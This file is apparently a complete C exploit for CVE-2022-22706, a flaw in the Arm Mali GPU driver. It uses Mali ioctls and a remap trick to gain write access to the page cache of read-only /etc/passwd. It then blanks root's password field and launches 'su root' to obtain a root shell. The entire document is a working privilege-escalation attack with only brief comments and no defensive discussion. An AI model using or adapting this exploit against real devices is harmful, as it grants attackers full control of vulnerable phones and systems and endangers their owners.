/* * CVE-2022-22706 -> root, minimal. * * Primitive (a writable Mali mapping of the page cache of an O_RDONLY file) * applied to /etc/passwd, then exec `su root`. * Page cache only - the file on disk is untouched. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define SYSCHK(x) \ ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define KBASE_IOCTL_TYPE 0x80 struct kbase_ioctl_version_check { uint16_t major; uint16_t minor; }; #define KBASE_IOCTL_VERSION_CHECK \ _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) struct kbase_ioctl_set_flags { uint32_t create_flags; }; #define KBASE_IOCTL_SET_FLAGS \ _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) struct kbase_ioctl_job_submit { uint64_t addr; uint32_t nr_atoms; uint32_t stride; }; #define KBASE_IOCTL_JOB_SUBMIT \ _IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit) union kbase_ioctl_mem_alloc { struct { uint64_t va_pages; uint64_t commit_pages; uint64_t extension; uint64_t flags; } in; struct { uint64_t flags; uint64_t gpu_va; } out; }; #define KBASE_IOCTL_MEM_ALLOC \ _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) union kbase_ioctl_mem_import { struct { uint64_t flags; uint64_t phandle; uint32_t type; uint32_t padding; } in; struct { uint64_t flags; uint64_t gpu_va; uint64_t va_pages; } out; }; #define KBASE_IOCTL_MEM_IMPORT \ _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) struct kbase_ioctl_soft_event_update { uint64_t event; uint32_t new_status; uint32_t flags; }; #define KBASE_IOCTL_SOFT_EVENT_UPDATE \ _IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update) struct base_mem_import_user_buffer { uint64_t ptr; uint64_t length; }; struct base_jd_udata { uint64_t blob[2]; }; struct base_dependency { uint8_t atom_id; uint8_t dependency_type; }; struct base_jd_atom_v2 { uint64_t jc; struct base_jd_udata udata; uint64_t extres_list; uint16_t nr_extres; uint8_t jit_id[2]; struct base_dependency pre_dep[2]; uint8_t atom_number; uint8_t prio; uint8_t device_nr; uint8_t jobslot; uint32_t core_req; uint8_t renderpass_id; uint8_t padding[7]; }; struct base_external_resource { uint64_t ext_resource; }; #define BASE_MEM_IMPORT_TYPE_USER_BUFFER 3 #define BASE_MEM_PROT_CPU_RD (1ULL << 0) #define BASE_MEM_PROT_CPU_WR (1ULL << 1) #define BASE_MEM_PROT_GPU_RD (1ULL << 2) #define BASE_MEM_PROT_GPU_WR (1ULL << 3) #define BASE_MEM_SAME_VA (1ULL << 13) #define BASE_MEM_MAP_TRACKING_HANDLE (3ULL << 12) #define BASE_JD_REQ_EXTERNAL_RESOURCES (1U << 8) #define BASE_JD_REQ_SOFT_JOB (1U << 9) #define BASE_JD_REQ_SOFT_EVENT_WAIT (BASE_JD_REQ_SOFT_JOB | 0x5) #define BASE_JD_SOFT_EVENT_SET 1 #define BASE_JD_SOFT_EVENT_RESET 0 #define PAGE_SIZE 0x1000 #define PASSWD "/etc/passwd" /* * The first line of /etc/passwd is "root:x:0:0:root:/root:/bin/sh". * Empty password field, and the 'x' moved to the end of GECOS so the * replacement is the same length and nothing after it shifts. */ #define BEFORE "root:x:0:0:root:/root:/bin/sh" #define PATCHED "root::0:0:rootx:/root:/bin/sh" int main(void) { const size_t line_len = sizeof(PATCHED) - 1; char buf[4096]; size_t writable_len; uint8_t *writable, *event_page; void *anonymous, *file_map, *tracking; int fd, mali_fd; ssize_t n; printf("[*] uid=%d euid=%d\n", (int)getuid(), (int)geteuid()); printf("[*] before : %s\n", BEFORE); printf("[*] after : %s\n", PATCHED); /* ── Primitive ─────────────────────────────────────────── */ fd = SYSCHK(open(PASSWD, O_RDONLY)); file_map = SYSCHK(mmap(NULL, PAGE_SIZE, PROT_READ, MAP_SHARED, fd, 0)); close(fd); struct kbase_ioctl_version_check vc = {.major = 11, .minor = 33}; struct kbase_ioctl_set_flags set_flags = {.create_flags = 0}; mali_fd = SYSCHK(open("/dev/mali0", O_RDWR)); SYSCHK(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &vc)); SYSCHK(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &set_flags)); tracking = SYSCHK(mmap(NULL, PAGE_SIZE, PROT_NONE, MAP_SHARED, mali_fd, BASE_MEM_MAP_TRACKING_HANDLE)); /* A reset soft event lets the atom pin its resource and stay pending. */ union kbase_ioctl_mem_alloc event_alloc = { .in = { .va_pages = 1, .commit_pages = 1, .flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR | BASE_MEM_SAME_VA, }, }; SYSCHK(ioctl(mali_fd, KBASE_IOCTL_MEM_ALLOC, &event_alloc)); event_page = SYSCHK(mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, (off_t)event_alloc.out.gpu_va)); *(volatile uint8_t *)event_page = BASE_JD_SOFT_EVENT_RESET; /* Import a writable anonymous range without GPU_WR... */ anonymous = SYSCHK(mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0)); struct base_mem_import_user_buffer import_desc = { .ptr = (uint64_t)(uintptr_t)anonymous, .length = PAGE_SIZE, }; union kbase_ioctl_mem_import imported = { .in = { .phandle = (uint64_t)(uintptr_t)&import_desc, .type = BASE_MEM_IMPORT_TYPE_USER_BUFFER, /* no GPU_WR: the pin is read-only */ .flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_RD, }, }; SYSCHK(ioctl(mali_fd, KBASE_IOCTL_MEM_IMPORT, &imported)); /* swap it for the read-only file mapping before the pin. */ SYSCHK(munmap(anonymous, PAGE_SIZE)); SYSCHK(mremap(file_map, PAGE_SIZE, PAGE_SIZE, MREMAP_MAYMOVE | MREMAP_FIXED, anonymous)); writable_len = imported.out.va_pages * PAGE_SIZE; writable = SYSCHK(mmap(NULL, writable_len, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, (off_t)imported.out.gpu_va)); struct base_external_resource external = { .ext_resource = (uint64_t)(uintptr_t)writable, }; struct base_jd_atom_v2 atom = { .jc = (uint64_t)(uintptr_t)event_page, .extres_list = (uint64_t)(uintptr_t)&external, .nr_extres = 1, .atom_number = 1, .core_req = BASE_JD_REQ_EXTERNAL_RESOURCES | BASE_JD_REQ_SOFT_EVENT_WAIT, }; struct kbase_ioctl_job_submit submit = { .addr = (uint64_t)(uintptr_t)&atom, .nr_atoms = 1, .stride = sizeof(atom), }; SYSCHK(ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit)); printf("[*] page pinned\n"); /* ── Fire ──────────────────────────────────────────────────────── */ memcpy(writable, PATCHED, line_len); fd = SYSCHK(open(PASSWD, O_RDONLY)); n = SYSCHK(read(fd, buf, sizeof(buf) - 1)); close(fd); if ((size_t)n < line_len || memcmp(buf, PATCHED, line_len) != 0) errx(1, "page cache did not take the write"); printf("[+] " PASSWD " patched: root has no password\n"); /* Complete the atom so the driver unpins the page. */ struct kbase_ioctl_soft_event_update update = { .event = (uint64_t)(uintptr_t)event_page, .new_status = BASE_JD_SOFT_EVENT_SET, }; ioctl(mali_fd, KBASE_IOCTL_SOFT_EVENT_UPDATE, &update); /* Close everything. */ munmap(writable, writable_len); munmap(anonymous, PAGE_SIZE); munmap(event_page, PAGE_SIZE); munmap(tracking, PAGE_SIZE); close(mali_fd); /* ── Root ──────────────────────────────────────────────────────── */ printf("[*] exec su root\n"); execl("/bin/su", "su", "root", NULL); err(1, "exec su"); }